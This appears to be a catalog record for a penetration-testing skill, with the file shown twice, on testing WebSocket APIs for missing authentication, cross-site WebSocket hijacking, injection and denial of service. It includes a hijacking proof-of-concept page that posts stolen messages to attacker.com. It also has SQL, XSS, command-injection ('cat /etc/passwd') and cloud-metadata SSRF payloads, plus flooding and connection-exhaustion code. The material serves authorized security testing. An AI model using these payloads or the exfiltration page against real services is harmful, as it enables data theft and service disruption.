[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGCJVEG504SF29PFJN0DQ1":3,"skill-same:01M6AGCJVEG504SF29PFJN0DQ1":110},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":8,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":18,"categories":19,"keywords":30,"publishedAt":50,"linkOnly":51,"markdownContent":52,"markdownBody":53,"frontMatter":54,"refName":69,"commitSha":70,"skillDirectory":71,"forksCount":72,"repositoryHtmlUrl":73,"repositoryHomepageUrl":74,"ownerHtmlUrl":75,"ownerBlogUrl":76,"ownerDescription":77,"updatedAt":78,"install":79,"resources":92},"01M6AGCJVEG504SF29PFJN0DQ1","testing-websocket-api-security","WebSocket API 安全测试","Tests WebSocket API implementations for missing upgrade-handshake authentication, Cross-Site WebSocket Hijacking (CSWSH), message injection, insufficient input validation, message-flooding DoS, and information leakage, using Burp Suite's WebSocket interception and the wscat CLI to craft malicious payloads. Use for real-time API penetration testing or CSWSH\u002Fauthorization-bypass assessments on WebSocket channels.","测试 WebSocket API 实现中的升级握手认证缺失、跨站 WebSocket 劫持（CSWSH）、消息注入、输入验证不足、消息洪泛 DoS 和信息泄露，使用 Burp Suite 的 WebSocket 拦截功能和 wscat CLI 构造恶意载荷。用于实时 API 渗透测试，或 WebSocket 通道上的 CSWSH\u002F授权绕过评估。","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0",null,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-websocket-api-security\u002FSKILL.md",[20,25],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BR4MYFKGCC4WCWVJ50KJ2C","安全工程师","PROFESSION","适用职业",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C7NMKVVN7CCC4BCVAW8B18","渗透测试与红队行动","SCENARIO","使用场景",[31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49],"testing websocket api security","security","api","websocket","testing","api-security","cswsh","real-time","injection","t1059","t1055","authorization","penetration testing","validation","authentication","pr","cybersecurity","malicious","cli","2026-11-10 10:12:30",false,"---\nname: testing-websocket-api-security\ndescription: Tests WebSocket API implementations for missing upgrade-handshake authentication,\n  Cross-Site WebSocket Hijacking (CSWSH), message injection, insufficient input validation,\n  message-flooding DoS, and information leakage, using Burp Suite's WebSocket interception\n  and the wscat CLI to craft malicious payloads. Use for real-time API penetration testing\n  or CSWSH\u002Fauthorization-bypass assessments on WebSocket channels.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- websocket\n- cswsh\n- real-time\n- injection\n- authentication\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1055\n- T1059\n---\n# Testing WebSocket API Security\n\n## When to Use\n\n- Assessing real-time communication APIs that use WebSocket (ws:\u002F\u002F) or Secure WebSocket (wss:\u002F\u002F) protocols\n- Testing for Cross-Site WebSocket Hijacking (CSWSH) where an attacker's page connects to a legitimate WebSocket server\n- Evaluating authentication and authorization enforcement on WebSocket connections and messages\n- Testing input validation on WebSocket message payloads for injection vulnerabilities\n- Assessing WebSocket implementations for denial-of-service through message flooding or oversized frames\n\n**Do not use** without written authorization. WebSocket testing may disrupt real-time services and affect other connected users.\n\n## Prerequisites\n\n- Written authorization specifying the WebSocket endpoint and testing scope\n- Burp Suite Professional with WebSocket interception capability\n- Python 3.10+ with `websockets` and `asyncio` libraries\n- Browser developer tools for observing WebSocket handshakes and frames\n- wscat CLI tool for manual WebSocket interaction: `npm install -g wscat`\n- Knowledge of the WebSocket subprotocol in use (JSON-RPC, STOMP, custom)\n\n## Workflow\n\n### Step 1: WebSocket Endpoint Discovery and Handshake Analysis\n\n```python\nimport asyncio\nimport websockets\nimport json\nimport ssl\nimport time\n\nWS_URL = \"wss:\u002F\u002Ftarget-api.example.com\u002Fws\"\nAUTH_TOKEN = \"Bearer \u003Ctoken>\"\n\n# Capture and analyze the WebSocket handshake\nasync def analyze_handshake():\n    \"\"\"Analyze WebSocket upgrade request and response headers.\"\"\"\n    try:\n        async with websockets.connect(\n            WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN},\n            ssl=ssl.create_default_context()\n        ) as ws:\n            print(f\"Connected to: {WS_URL}\")\n            print(f\"Protocol: {ws.subprotocol}\")\n            print(f\"Extensions: {ws.extensions}\")\n\n            # Send a test message\n            test_msg = json.dumps({\"type\": \"ping\"})\n            await ws.send(test_msg)\n            response = await asyncio.wait_for(ws.recv(), timeout=5)\n            print(f\"Server response: {response}\")\n\n            return True\n    except websockets.exceptions.InvalidStatusCode as e:\n        print(f\"Connection rejected: {e.status_code}\")\n        return False\n    except Exception as e:\n        print(f\"Connection error: {e}\")\n        return False\n\nasyncio.run(analyze_handshake())\n```\n\n### Step 2: Authentication and Authorization Testing\n\n```python\nasync def test_ws_authentication():\n    \"\"\"Test if WebSocket requires authentication.\"\"\"\n    results = []\n\n    # Test 1: Connect without any authentication\n    try:\n        async with websockets.connect(WS_URL) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"No authentication\",\n                \"status\": \"VULNERABLE\",\n                \"response\": resp[:200]\n            })\n            print(f\"[VULN] WebSocket accessible without authentication\")\n    except websockets.exceptions.InvalidStatusCode:\n        results.append({\"test\": \"No authentication\", \"status\": \"SECURE\"})\n    except Exception as e:\n        results.append({\"test\": \"No authentication\", \"status\": f\"ERROR: {e}\"})\n\n    # Test 2: Connect with invalid token\n    try:\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": \"Bearer invalid_token\"}) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"Invalid token\",\n                \"status\": \"VULNERABLE\",\n                \"response\": resp[:200]\n            })\n    except websockets.exceptions.InvalidStatusCode:\n        results.append({\"test\": \"Invalid token\", \"status\": \"SECURE\"})\n    except Exception as e:\n        results.append({\"test\": \"Invalid token\", \"status\": f\"ERROR: {e}\"})\n\n    # Test 3: Connect with expired token\n    expired_token = \"Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MDAwMDAwMDB9.expired\"\n    try:\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": expired_token}) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\"test\": \"Expired token\", \"status\": \"VULNERABLE\"})\n    except (websockets.exceptions.InvalidStatusCode, Exception):\n        results.append({\"test\": \"Expired token\", \"status\": \"SECURE\"})\n\n    # Test 4: Token in query parameter (leakage risk)\n    try:\n        async with websockets.connect(f\"{WS_URL}?token={AUTH_TOKEN}\") as ws:\n            await ws.send(json.dumps({\"type\": \"ping\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"Token in URL\",\n                \"status\": \"INFO - Token accepted in query parameter (may leak in logs)\"\n            })\n    except Exception:\n        results.append({\"test\": \"Token in URL\", \"status\": \"REJECTED\"})\n\n    for r in results:\n        print(f\"  [{r['status'][:10]}] {r['test']}\")\n\n    return results\n\nasyncio.run(test_ws_authentication())\n```\n\n### Step 3: Cross-Site WebSocket Hijacking (CSWSH) Testing\n\n```python\nasync def test_cswsh():\n    \"\"\"Test for Cross-Site WebSocket Hijacking vulnerability.\"\"\"\n    # CSWSH occurs when the WebSocket server does not validate the Origin header\n    # An attacker's website can connect to the legitimate WebSocket and steal data\n\n    origins_to_test = [\n        None,                                    # No Origin header\n        \"https:\u002F\u002Fevil.com\",                      # Attacker domain\n        \"https:\u002F\u002Ftarget-api.example.com.evil.com\",  # Subdomain confusion\n        \"null\",                                  # Null origin (sandboxed iframe)\n        \"https:\u002F\u002Ftarget-api.example.com\",        # Legitimate origin\n        \"http:\u002F\u002Ftarget-api.example.com\",         # HTTP downgrade\n    ]\n\n    print(\"=== CSWSH Testing ===\\n\")\n    for origin in origins_to_test:\n        try:\n            headers = {\"Authorization\": AUTH_TOKEN}\n            if origin:\n                headers[\"Origin\"] = origin\n\n            async with websockets.connect(WS_URL, extra_headers=headers) as ws:\n                # Try to receive data that should be restricted\n                await ws.send(json.dumps({\"type\": \"get_messages\"}))\n                resp = await asyncio.wait_for(ws.recv(), timeout=5)\n\n                if origin and origin != \"https:\u002F\u002Ftarget-api.example.com\":\n                    print(f\"[CSWSH] Origin '{origin}' -> ACCEPTED (data received)\")\n                else:\n                    print(f\"[OK] Origin '{origin}' -> Accepted (legitimate)\")\n        except websockets.exceptions.InvalidStatusCode as e:\n            print(f\"[BLOCKED] Origin '{origin}' -> Rejected ({e.status_code})\")\n        except Exception as e:\n            print(f\"[ERROR] Origin '{origin}' -> {e}\")\n\nasyncio.run(test_cswsh())\n\n# PoC HTML page for CSWSH exploitation\nCSWSH_POC = \"\"\"\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Ctitle>CSWSH PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Cscript>\n\u002F\u002F This page, hosted on attacker.com, connects to the target WebSocket\n\u002F\u002F If the server doesn't validate Origin, the victim's browser will\n\u002F\u002F send cookies\u002Fcredentials and the attacker receives the data\n\nvar ws = new WebSocket(\"wss:\u002F\u002Ftarget-api.example.com\u002Fws\");\n\nws.onopen = function() {\n    console.log(\"Connected to target WebSocket\");\n    ws.send(JSON.stringify({type: \"get_messages\"}));\n    ws.send(JSON.stringify({type: \"get_user_data\"}));\n};\n\nws.onmessage = function(event) {\n    console.log(\"Stolen data:\", event.data);\n    \u002F\u002F Exfiltrate to attacker server\n    fetch(\"https:\u002F\u002Fattacker.com\u002Fcollect\", {\n        method: \"POST\",\n        body: event.data\n    });\n};\n\u003C\u002Fscript>\n\u003Cp>Loading... (CSWSH attack in progress)\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\"\"\"\n```\n\n### Step 4: WebSocket Message Injection Testing\n\n```python\nasync def test_ws_injection():\n    \"\"\"Test WebSocket messages for injection vulnerabilities.\"\"\"\n\n    INJECTION_PAYLOADS = {\n        \"sql\": [\n            {\"type\": \"search\", \"query\": \"' OR '1'='1\"},\n            {\"type\": \"search\", \"query\": \"'; DROP TABLE messages;--\"},\n            {\"type\": \"get_message\", \"id\": \"1 UNION SELECT username,password FROM users--\"},\n        ],\n        \"nosql\": [\n            {\"type\": \"search\", \"query\": {\"$ne\": \"\"}},\n            {\"type\": \"get_user\", \"filter\": {\"$gt\": \"\"}},\n        ],\n        \"xss\": [\n            {\"type\": \"send_message\", \"content\": \"\u003Cscript>alert('xss')\u003C\u002Fscript>\"},\n            {\"type\": \"send_message\", \"content\": \"\u003Cimg src=x onerror=alert(1)>\"},\n            {\"type\": \"update_name\", \"name\": \"Test\u003Cscript>document.location='https:\u002F\u002Fevil.com'\u003C\u002Fscript>\"},\n        ],\n        \"command\": [\n            {\"type\": \"process\", \"file\": \"test; cat \u002Fetc\u002Fpasswd\"},\n            {\"type\": \"convert\", \"input\": \"test | id\"},\n        ],\n        \"ssrf\": [\n            {\"type\": \"load_url\", \"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"},\n            {\"type\": \"webhook\", \"callback\": \"http:\u002F\u002Flocalhost:6379\u002F\"},\n        ],\n        \"overflow\": [\n            {\"type\": \"send_message\", \"content\": \"A\" * 100000},\n            {\"type\": \"search\", \"query\": \"B\" * 1000000},\n        ],\n    }\n\n    async with websockets.connect(WS_URL,\n        extra_headers={\"Authorization\": AUTH_TOKEN}) as ws:\n\n        for category, payloads in INJECTION_PAYLOADS.items():\n            for payload in payloads:\n                try:\n                    await ws.send(json.dumps(payload))\n                    resp = await asyncio.wait_for(ws.recv(), timeout=5)\n\n                    # Analyze response for injection indicators\n                    resp_lower = resp.lower()\n                    indicators = []\n                    if any(kw in resp_lower for kw in [\"sql\", \"syntax\", \"mysql\", \"postgresql\"]):\n                        indicators.append(\"SQL error\")\n                    if any(kw in resp_lower for kw in [\"root:\", \"uid=\", \"etc\u002Fpasswd\"]):\n                        indicators.append(\"Command output\")\n                    if any(kw in resp_lower for kw in [\"ami-id\", \"instance-id\", \"metadata\"]):\n                        indicators.append(\"SSRF data\")\n                    if \"script\" in resp_lower and \"xss\" not in category:\n                        indicators.append(\"Reflected XSS\")\n\n                    if indicators:\n                        print(f\"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}\")\n                    elif len(resp) > 10000:\n                        print(f\"[OVERFLOW] Large response: {len(resp)} bytes\")\n                except asyncio.TimeoutError:\n                    pass\n                except websockets.exceptions.ConnectionClosed:\n                    print(f\"[CRASH] Connection closed after {category} payload\")\n                    # Reconnect\n                    break\n\nasyncio.run(test_ws_injection())\n```\n\n### Step 5: Denial-of-Service Testing\n\n```python\nasync def test_ws_dos():\n    \"\"\"Test WebSocket for DoS vulnerabilities.\"\"\"\n    print(\"=== WebSocket DoS Testing ===\\n\")\n\n    # Test 1: Message flooding\n    async def flood_test():\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN}) as ws:\n            count = 0\n            start = time.time()\n            for i in range(10000):\n                try:\n                    await ws.send(json.dumps({\"type\": \"ping\", \"id\": i}))\n                    count += 1\n                except websockets.exceptions.ConnectionClosed:\n                    break\n            elapsed = time.time() - start\n            print(f\"  Flood test: {count} messages in {elapsed:.1f}s ({count\u002Felapsed:.0f} msg\u002Fs)\")\n\n    await flood_test()\n\n    # Test 2: Large message\n    async def large_message_test():\n        sizes = [1024, 10240, 102400, 1024000, 10240000]  # 1KB to 10MB\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN},\n            max_size=20*1024*1024) as ws:\n            for size in sizes:\n                try:\n                    large_msg = json.dumps({\"type\": \"data\", \"payload\": \"A\" * size})\n                    await ws.send(large_msg)\n                    resp = await asyncio.wait_for(ws.recv(), timeout=5)\n                    print(f\"  Large message ({size} bytes): Accepted\")\n                except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e:\n                    print(f\"  Large message ({size} bytes): Rejected\u002FDisconnected\")\n                    break\n\n    await large_message_test()\n\n    # Test 3: Connection exhaustion\n    async def connection_exhaustion():\n        connections = []\n        for i in range(100):\n            try:\n                ws = await websockets.connect(WS_URL,\n                    extra_headers={\"Authorization\": AUTH_TOKEN})\n                connections.append(ws)\n            except Exception:\n                break\n        print(f\"  Connection exhaustion: {len(connections)} concurrent connections established\")\n        for ws in connections:\n            await ws.close()\n\n    await connection_exhaustion()\n\nasyncio.run(test_ws_dos())\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **WebSocket** | Full-duplex communication protocol over a single TCP connection, established via HTTP upgrade handshake |\n| **CSWSH** | Cross-Site WebSocket Hijacking - an attack where a malicious website initiates a WebSocket connection to a legitimate server using the victim's browser credentials |\n| **Origin Validation** | Server-side check of the Origin header during WebSocket handshake to prevent CSWSH by rejecting connections from unauthorized domains |\n| **WebSocket Frame** | The basic unit of data in WebSocket communication, containing opcode, masking, payload length, and payload data |\n| **Upgrade Handshake** | HTTP request with `Upgrade: websocket` and `Connection: Upgrade` headers that establishes the WebSocket connection |\n| **Message Flooding** | Sending a large volume of WebSocket messages to exhaust server resources (memory, CPU, bandwidth) |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercepts WebSocket handshakes and messages, allows message modification and replay\n- **OWASP ZAP**: WebSocket testing with message fuzzing, interception, and breakpoint capabilities\n- **wscat**: Command-line WebSocket client for manual testing: `wscat -c wss:\u002F\u002Ftarget.com\u002Fws -H \"Authorization: Bearer token\"`\n- **websocat**: Advanced CLI WebSocket tool with proxy, broadcast, and scripting capabilities\n- **Autobahn TestSuite**: Comprehensive WebSocket protocol compliance and security testing framework\n\n## Common Scenarios\n\n### Scenario: Chat Application WebSocket Security Assessment\n\n**Context**: A messaging application uses WebSocket for real-time chat. The WebSocket endpoint handles message delivery, typing indicators, read receipts, and user presence. Authentication is cookie-based.\n\n**Approach**:\n1. Analyze the WebSocket handshake: connection established at `wss:\u002F\u002Fchat.example.com\u002Fws` with session cookie authentication\n2. Test CSWSH: WebSocket server does not validate the Origin header - an attacker's page can connect and receive the victim's messages\n3. Test authentication: WebSocket accepts connections with expired session cookies (session validation only at handshake, not for subsequent messages)\n4. Test authorization: User A can send messages to private channels they are not a member of by crafting the channel ID\n5. Test injection: Message content is stored without sanitization; XSS payload in message body executes in other users' browsers\n6. Test message flooding: Server accepts 5000 messages per second without rate limiting, causing CPU spike\n7. Find that WebSocket messages include the sender's internal user ID, email, and IP address (information leakage)\n\n**Pitfalls**:\n- Not testing CSWSH because the application uses token-based authentication (cookies are automatically sent with WebSocket)\n- Only testing the initial handshake authentication without verifying ongoing message authorization\n- Missing injection vulnerabilities because payloads are in JSON WebSocket frames instead of HTTP parameters\n- Not testing reconnection behavior (does the server re-validate authentication on reconnect?)\n- Ignoring that WebSocket connections may bypass HTTP-level rate limiting and WAF rules\n\n## Output Format\n\n```\n## Finding: Cross-Site WebSocket Hijacking Enables Real-Time Data Theft\n\n**ID**: API-WS-001\n**Severity**: High (CVSS 8.1)\n**Affected Endpoint**: wss:\u002F\u002Fchat.example.com\u002Fws\n\n**Description**:\nThe WebSocket server does not validate the Origin header during the\nhandshake. An attacker can host a malicious web page that opens a\nWebSocket connection to the chat server using the victim's session\ncookie. All messages, typing indicators, and presence data are\nforwarded to the attacker in real time.\n\n**Proof of Concept**:\nHost the CSWSH PoC page on attacker.com. When a logged-in user\nvisits the page, the JavaScript establishes a WebSocket connection\nto the chat server. The server authenticates the connection using\nthe victim's cookie and delivers all real-time chat data to the\nattacker's connection.\n\n**Impact**:\nReal-time interception of all private messages, presence data,\nand typing indicators for any user who visits the attacker's page.\n\n**Remediation**:\n1. Validate the Origin header against an allowlist of legitimate domains\n2. Implement CSRF tokens in the WebSocket handshake URL\n3. Use token-based authentication (Authorization header) instead of cookies for WebSocket\n4. Implement per-message authorization checks, not just connection-level authentication\n5. Add rate limiting on WebSocket message volume per connection\n```\n","# Testing WebSocket API Security\n\n## When to Use\n\n- Assessing real-time communication APIs that use WebSocket (ws:\u002F\u002F) or Secure WebSocket (wss:\u002F\u002F) protocols\n- Testing for Cross-Site WebSocket Hijacking (CSWSH) where an attacker's page connects to a legitimate WebSocket server\n- Evaluating authentication and authorization enforcement on WebSocket connections and messages\n- Testing input validation on WebSocket message payloads for injection vulnerabilities\n- Assessing WebSocket implementations for denial-of-service through message flooding or oversized frames\n\n**Do not use** without written authorization. WebSocket testing may disrupt real-time services and affect other connected users.\n\n## Prerequisites\n\n- Written authorization specifying the WebSocket endpoint and testing scope\n- Burp Suite Professional with WebSocket interception capability\n- Python 3.10+ with `websockets` and `asyncio` libraries\n- Browser developer tools for observing WebSocket handshakes and frames\n- wscat CLI tool for manual WebSocket interaction: `npm install -g wscat`\n- Knowledge of the WebSocket subprotocol in use (JSON-RPC, STOMP, custom)\n\n## Workflow\n\n### Step 1: WebSocket Endpoint Discovery and Handshake Analysis\n\n```python\nimport asyncio\nimport websockets\nimport json\nimport ssl\nimport time\n\nWS_URL = \"wss:\u002F\u002Ftarget-api.example.com\u002Fws\"\nAUTH_TOKEN = \"Bearer \u003Ctoken>\"\n\n# Capture and analyze the WebSocket handshake\nasync def analyze_handshake():\n    \"\"\"Analyze WebSocket upgrade request and response headers.\"\"\"\n    try:\n        async with websockets.connect(\n            WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN},\n            ssl=ssl.create_default_context()\n        ) as ws:\n            print(f\"Connected to: {WS_URL}\")\n            print(f\"Protocol: {ws.subprotocol}\")\n            print(f\"Extensions: {ws.extensions}\")\n\n            # Send a test message\n            test_msg = json.dumps({\"type\": \"ping\"})\n            await ws.send(test_msg)\n            response = await asyncio.wait_for(ws.recv(), timeout=5)\n            print(f\"Server response: {response}\")\n\n            return True\n    except websockets.exceptions.InvalidStatusCode as e:\n        print(f\"Connection rejected: {e.status_code}\")\n        return False\n    except Exception as e:\n        print(f\"Connection error: {e}\")\n        return False\n\nasyncio.run(analyze_handshake())\n```\n\n### Step 2: Authentication and Authorization Testing\n\n```python\nasync def test_ws_authentication():\n    \"\"\"Test if WebSocket requires authentication.\"\"\"\n    results = []\n\n    # Test 1: Connect without any authentication\n    try:\n        async with websockets.connect(WS_URL) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"No authentication\",\n                \"status\": \"VULNERABLE\",\n                \"response\": resp[:200]\n            })\n            print(f\"[VULN] WebSocket accessible without authentication\")\n    except websockets.exceptions.InvalidStatusCode:\n        results.append({\"test\": \"No authentication\", \"status\": \"SECURE\"})\n    except Exception as e:\n        results.append({\"test\": \"No authentication\", \"status\": f\"ERROR: {e}\"})\n\n    # Test 2: Connect with invalid token\n    try:\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": \"Bearer invalid_token\"}) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"Invalid token\",\n                \"status\": \"VULNERABLE\",\n                \"response\": resp[:200]\n            })\n    except websockets.exceptions.InvalidStatusCode:\n        results.append({\"test\": \"Invalid token\", \"status\": \"SECURE\"})\n    except Exception as e:\n        results.append({\"test\": \"Invalid token\", \"status\": f\"ERROR: {e}\"})\n\n    # Test 3: Connect with expired token\n    expired_token = \"Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MDAwMDAwMDB9.expired\"\n    try:\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": expired_token}) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\"test\": \"Expired token\", \"status\": \"VULNERABLE\"})\n    except (websockets.exceptions.InvalidStatusCode, Exception):\n        results.append({\"test\": \"Expired token\", \"status\": \"SECURE\"})\n\n    # Test 4: Token in query parameter (leakage risk)\n    try:\n        async with websockets.connect(f\"{WS_URL}?token={AUTH_TOKEN}\") as ws:\n            await ws.send(json.dumps({\"type\": \"ping\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"Token in URL\",\n                \"status\": \"INFO - Token accepted in query parameter (may leak in logs)\"\n            })\n    except Exception:\n        results.append({\"test\": \"Token in URL\", \"status\": \"REJECTED\"})\n\n    for r in results:\n        print(f\"  [{r['status'][:10]}] {r['test']}\")\n\n    return results\n\nasyncio.run(test_ws_authentication())\n```\n\n### Step 3: Cross-Site WebSocket Hijacking (CSWSH) Testing\n\n```python\nasync def test_cswsh():\n    \"\"\"Test for Cross-Site WebSocket Hijacking vulnerability.\"\"\"\n    # CSWSH occurs when the WebSocket server does not validate the Origin header\n    # An attacker's website can connect to the legitimate WebSocket and steal data\n\n    origins_to_test = [\n        None,                                    # No Origin header\n        \"https:\u002F\u002Fevil.com\",                      # Attacker domain\n        \"https:\u002F\u002Ftarget-api.example.com.evil.com\",  # Subdomain confusion\n        \"null\",                                  # Null origin (sandboxed iframe)\n        \"https:\u002F\u002Ftarget-api.example.com\",        # Legitimate origin\n        \"http:\u002F\u002Ftarget-api.example.com\",         # HTTP downgrade\n    ]\n\n    print(\"=== CSWSH Testing ===\\n\")\n    for origin in origins_to_test:\n        try:\n            headers = {\"Authorization\": AUTH_TOKEN}\n            if origin:\n                headers[\"Origin\"] = origin\n\n            async with websockets.connect(WS_URL, extra_headers=headers) as ws:\n                # Try to receive data that should be restricted\n                await ws.send(json.dumps({\"type\": \"get_messages\"}))\n                resp = await asyncio.wait_for(ws.recv(), timeout=5)\n\n                if origin and origin != \"https:\u002F\u002Ftarget-api.example.com\":\n                    print(f\"[CSWSH] Origin '{origin}' -> ACCEPTED (data received)\")\n                else:\n                    print(f\"[OK] Origin '{origin}' -> Accepted (legitimate)\")\n        except websockets.exceptions.InvalidStatusCode as e:\n            print(f\"[BLOCKED] Origin '{origin}' -> Rejected ({e.status_code})\")\n        except Exception as e:\n            print(f\"[ERROR] Origin '{origin}' -> {e}\")\n\nasyncio.run(test_cswsh())\n\n# PoC HTML page for CSWSH exploitation\nCSWSH_POC = \"\"\"\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Ctitle>CSWSH PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Cscript>\n\u002F\u002F This page, hosted on attacker.com, connects to the target WebSocket\n\u002F\u002F If the server doesn't validate Origin, the victim's browser will\n\u002F\u002F send cookies\u002Fcredentials and the attacker receives the data\n\nvar ws = new WebSocket(\"wss:\u002F\u002Ftarget-api.example.com\u002Fws\");\n\nws.onopen = function() {\n    console.log(\"Connected to target WebSocket\");\n    ws.send(JSON.stringify({type: \"get_messages\"}));\n    ws.send(JSON.stringify({type: \"get_user_data\"}));\n};\n\nws.onmessage = function(event) {\n    console.log(\"Stolen data:\", event.data);\n    \u002F\u002F Exfiltrate to attacker server\n    fetch(\"https:\u002F\u002Fattacker.com\u002Fcollect\", {\n        method: \"POST\",\n        body: event.data\n    });\n};\n\u003C\u002Fscript>\n\u003Cp>Loading... (CSWSH attack in progress)\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\"\"\"\n```\n\n### Step 4: WebSocket Message Injection Testing\n\n```python\nasync def test_ws_injection():\n    \"\"\"Test WebSocket messages for injection vulnerabilities.\"\"\"\n\n    INJECTION_PAYLOADS = {\n        \"sql\": [\n            {\"type\": \"search\", \"query\": \"' OR '1'='1\"},\n            {\"type\": \"search\", \"query\": \"'; DROP TABLE messages;--\"},\n            {\"type\": \"get_message\", \"id\": \"1 UNION SELECT username,password FROM users--\"},\n        ],\n        \"nosql\": [\n            {\"type\": \"search\", \"query\": {\"$ne\": \"\"}},\n            {\"type\": \"get_user\", \"filter\": {\"$gt\": \"\"}},\n        ],\n        \"xss\": [\n            {\"type\": \"send_message\", \"content\": \"\u003Cscript>alert('xss')\u003C\u002Fscript>\"},\n            {\"type\": \"send_message\", \"content\": \"\u003Cimg src=x onerror=alert(1)>\"},\n            {\"type\": \"update_name\", \"name\": \"Test\u003Cscript>document.location='https:\u002F\u002Fevil.com'\u003C\u002Fscript>\"},\n        ],\n        \"command\": [\n            {\"type\": \"process\", \"file\": \"test; cat \u002Fetc\u002Fpasswd\"},\n            {\"type\": \"convert\", \"input\": \"test | id\"},\n        ],\n        \"ssrf\": [\n            {\"type\": \"load_url\", \"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"},\n            {\"type\": \"webhook\", \"callback\": \"http:\u002F\u002Flocalhost:6379\u002F\"},\n        ],\n        \"overflow\": [\n            {\"type\": \"send_message\", \"content\": \"A\" * 100000},\n            {\"type\": \"search\", \"query\": \"B\" * 1000000},\n        ],\n    }\n\n    async with websockets.connect(WS_URL,\n        extra_headers={\"Authorization\": AUTH_TOKEN}) as ws:\n\n        for category, payloads in INJECTION_PAYLOADS.items():\n            for payload in payloads:\n                try:\n                    await ws.send(json.dumps(payload))\n                    resp = await asyncio.wait_for(ws.recv(), timeout=5)\n\n                    # Analyze response for injection indicators\n                    resp_lower = resp.lower()\n                    indicators = []\n                    if any(kw in resp_lower for kw in [\"sql\", \"syntax\", \"mysql\", \"postgresql\"]):\n                        indicators.append(\"SQL error\")\n                    if any(kw in resp_lower for kw in [\"root:\", \"uid=\", \"etc\u002Fpasswd\"]):\n                        indicators.append(\"Command output\")\n                    if any(kw in resp_lower for kw in [\"ami-id\", \"instance-id\", \"metadata\"]):\n                        indicators.append(\"SSRF data\")\n                    if \"script\" in resp_lower and \"xss\" not in category:\n                        indicators.append(\"Reflected XSS\")\n\n                    if indicators:\n                        print(f\"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}\")\n                    elif len(resp) > 10000:\n                        print(f\"[OVERFLOW] Large response: {len(resp)} bytes\")\n                except asyncio.TimeoutError:\n                    pass\n                except websockets.exceptions.ConnectionClosed:\n                    print(f\"[CRASH] Connection closed after {category} payload\")\n                    # Reconnect\n                    break\n\nasyncio.run(test_ws_injection())\n```\n\n### Step 5: Denial-of-Service Testing\n\n```python\nasync def test_ws_dos():\n    \"\"\"Test WebSocket for DoS vulnerabilities.\"\"\"\n    print(\"=== WebSocket DoS Testing ===\\n\")\n\n    # Test 1: Message flooding\n    async def flood_test():\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN}) as ws:\n            count = 0\n            start = time.time()\n            for i in range(10000):\n                try:\n                    await ws.send(json.dumps({\"type\": \"ping\", \"id\": i}))\n                    count += 1\n                except websockets.exceptions.ConnectionClosed:\n                    break\n            elapsed = time.time() - start\n            print(f\"  Flood test: {count} messages in {elapsed:.1f}s 